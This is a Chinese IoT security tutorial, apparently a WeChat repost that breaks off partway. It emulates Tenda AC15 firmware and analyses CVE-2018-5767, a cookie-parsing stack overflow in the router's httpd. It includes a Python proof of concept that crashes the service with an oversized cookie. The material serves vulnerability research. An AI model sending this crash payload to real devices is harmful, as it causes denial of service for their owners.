本篇文章的导向在于分析Tenda AC15固件中所存在的缓冲区溢出,并尝试结合boofuzz对漏洞点进行简单的探索,对boofuzz原理感兴趣的现在可以关闭这个网页了。
一、环境搭建
boofuzz项目地址:https://github.com/jtpereyda/boofuzz
这里我选择将boofuzz安装到python的虚拟环境中:
$ sudo apt install python3-dev libffi-dev build-essential virtualenvwrapper
$ export WORKON_HOME=$HOME/Python-workhome
$ source /usr/share/virtualenvwrapper/virtualenvwrapper.sh
$ mkvirtualenv --python=$(which python3) boofuzz && pip install boofuzz
# 新建终端后需要执行如下两条命令启动虚拟环境,方便起见可以将它们追加到~/.bashrc中
【1】$ export WORKON_HOME=$HOME/Python-workhome
【2】$ source /usr/share/virtualenvwrapper/virtualenvwrapper.sh
$ workon boofuzz【进入虚拟环境】
安装的boofuzz版本为0.4.1。然后拉取我修改后的仿真docker环境:docker pull ccr.ccs.tencentyun.com/cyberangel-public/iot-emu:tenda_ac15_cve-2018-5767。
趁着拉取docker的时间,为了避免一些错误,使用源码编译的方式安装binwalk而非apt install:
https://github.com/ReFirmLabs/binwalk
sudo ./deps.sh # 在ubuntu下仅需执行该命令即可,详见 https://github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md
# 检查依赖的安装
sudo python3 ./setup.py install
二、分析固件(qemu-user)
该路由器的固件可以在文章开头的附件中下载。
使用binwalk对固件进行解压binwalk -e US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin:
squashfs-root文件夹是该路由器的文件系统,使用qemu-arm-static尝试启动bin下的httpd:
$ cp $(which qemu-arm-static) ./
$ sudo chroot . ./qemu-arm-static ./bin/httpd【等价于: $ sudo chroot . ./qemu-arm-static ./bin/sh && ./bin/httpd 】
$ sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd
可以发现启动httpd时卡住了:
拖入到IDA对Welcome to …交叉引用,来到main:
笔者注:根据该文件有“2.1.8”和websSecurityHandler等字样可以确定是goahead,根据该版本的源码的函数逻辑与框架能部分恢复一些符号:https://github.com/embedthis/goahead/releases/tag/v2.1.8
路由器厂商会在goahead原版基础上修改和添加一些功能,所以只能“部分恢复”一些符号与结构体,但是这也足够帮助我们分析了。
有两处地方值得注意:
-
check_network是导致死循环的原因。
-
需要让ConnectCfm的返回值为true,进入if语句内部。
别想太复杂,我们先不去深究两个函数的具体实现,只需要对这两个分支跳转进行patch即可。
第一处:
第二处:
patch后回到伪代码:
将修改后的可执行文件保存导出:
再次尝试运行sudo chroot . ./qemu-arm-static ./bin/httpd_patch:
有一些报错,无伤大雅,但最重要的是最后的ip地址不正常:
回到IDA中,找到”httpd listen”的调用位置:
qemu-gdb确定函数调用链:
$ sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd_patch
# 另起终端
$ s
$ set architecture arm
$ b *0x1A36C
$ target remote :1234
可以确定的是sub_28338调用了sub_1A36C:
.text:000283DC E2 C7 FF EB BL sub_1A36C
.text:000283DC
.text:000283E0 00 20 A0 E1 MOV R2, R0 # return_addr
直接在IDA对sub_28338交叉引用,根据字符串可知此流程由tcp_timestamps函数调用:
结合IDA分析并重复上面步骤,得到函数完整调用链:main -> initWebs -> tcp_timestamps -> sub_28338 -> sub_1A36C -> printf(Error Msg)。下面对printf的ip参数跟踪:
顺着调用链来到:
ip来自全局变量g_lan_ip,最后追踪到:
getIfIp函数的返回为-1,正常流程应该进入与外层的if对应的else分支。所以之前的初始化步骤全部都有问题,因为strcmpRet关联着很多函数:
关联最多的为GetValue函数,它被定义在动态链接库libCfm.so中:
这个函数与socket有关,如果要分析的话代码量太大,所以我们先从main函数开头的几个函数下手。注意到与网络有关的函数check_network,它的本体存在于libcommon.so中:
其中,a1是传入的buffer2(memset(buffer2, 0, sizeof(buffer2));),逐步进入函数j_getLanIfName() -> getLanIfName() -> get_eth_name(0)查看:
在libChipApi.so可以找到该函数的定义:
所以需要自己我们新建一个虚拟网桥(Virtual Bridge)br0:
$ sudo brctl addbr br0
$ sudo ifconfig br0 192.168.2.3/24
尝试重新启动:
再次进行访问:
能访问了但不能完全访问,根据./etc_ro/rcS:
我们也这样操作一下cp -rf ./webroot_ro/* ./webroot/,然后刷新一下就正常了:
httpd的文件保护如下:
CVE-2018-5767的漏洞点在httpd的厂商自己实现的R7WebsSecurityHandler函数中,如下图所示:
经IDA交叉引用发现固件没有调用goahead自带的websSecurityHandler而是调用了R7WebsSecurityHandler,但不必担心,后者是基于前者实现的。
IDA识别a1出来的是int型,但实际上是webs_t类型的结构体:
// webs.h
【1】
typedef struct websRec {
ringq_t header; /* Header dynamic string */
time_t since; /* Parsed if-modified-since time */
sym_fd_t cgiVars; /* CGI standard variables */
sym_fd_t cgiQuery; /* CGI decoded query string */
time_t timestamp; /* Last transaction with browser */
int timeout; /* Timeout handle */
char_t ipaddr[32]; /* Connecting ipaddress */
char_t type[64]; /* Mime type */
char_t *dir; /* Directory containing the page */
char_t *path; /* Path name without query */
char_t *url; /* Full request url */
char_t *host; /* Requested host */
char_t *lpath; /* Cache local path name */
char_t *query; /* Request query */
char_t *decodedQuery; /* Decoded request query */
char_t *authType; /* Authorization type (Basic/DAA) */
char_t *password; /* Authorization password */
char_t *userName; /* Authorization username */
char_t *cookie; /* Cookie string */
char_t *userAgent; /* User agent (browser) */
char_t *protocol; /* Protocol (normally HTTP) */
char_t *protoVersion; /* Protocol version */
int sid; /* Socket id (handler) */
int listenSid; /* Listen Socket id */
int port; /* Request port number */
int state; /* Current state */
int flags; /* Current flags -- see above */
int code; /* Request result code */
int clen; /* Content length */
int wid; /* Index into webs */
char_t *cgiStdin; /* filename for CGI stdin */
int docfd; /* Document file descriptor */
int numbytes; /* Bytes to transfer to browser */
int written; /* Bytes actually transferred */
void (*writeSocket)(struct websRec *wp);
char_t *realm; /* usually the same as "host" from websRec */
char_t *nonce; /* opaque-to-client string sent by server */
char_t *digest; /* digest form of user password */
char_t *uri; /* URI found in DAA header */
char_t *opaque; /* opaque value passed from server */
char_t *nc; /* nonce count */
char_t *cnonce; /* check nonce */
char_t *qop; /* quality operator */
websSSL_t *wsp; /* SSL data structure */
} websRec;
-------------------------------------------------------------------------------------------------------------
【2】:
typedef websRec *webs_t;
在IDA中导入结构体,修复之后的效果如下:
漏洞存在的原因很明显,存在栈溢出:
-
程序没有限制用户的cookie长度。
-
sscanf在解析参数的时候没有限制解析的长度。
// gcc -g test.c -o test
int main(){
char* str = "username=cyberangel;passwd=IoT;whoami=root";
char result[100] = "";
char* p = "";
p = strstr(str, "passwd=");
printf("strstr() result is %sn", p);
sscanf(p, "%*[^=]=%[^;];*", result);
printf("Regular Expression is %sn", result);
return 0;
}
解析后的结果为cookie的passwd。为了让fuzzer能fuzz到崩溃点,poc要满足以下条件:
很简单,只需要让我们的请求中包含”/goform/xxx”就可以靠近漏洞点(注意strncmp的返回值,相同为假)。那我们就拿/goform/cyberangel来测试吧,在docker中验证是否能够栈溢出:
import requests
import socket
import socks
import http
socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 2345)
socket.socket = socks.socksocket
def main():
url = "http://192.168.2.2/goform/cyberangel"
try:
cookie = {"Cookie":"password=" + "A"*501}
res = requests.get(url=url,cookies=cookie)
print(res.text)
except:
print("overflow!")
if __name__ == '__main__':
main()
由于httpd崩溃(DOS攻击)导致触发python异常:
curl –location:解析重定向之后的网页。
由于文章字数受限
可点击下方【阅读原文】阅读全篇。
分享
收藏
点赞
在看
原文始发于微信公众号(IOTsec Zone):物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例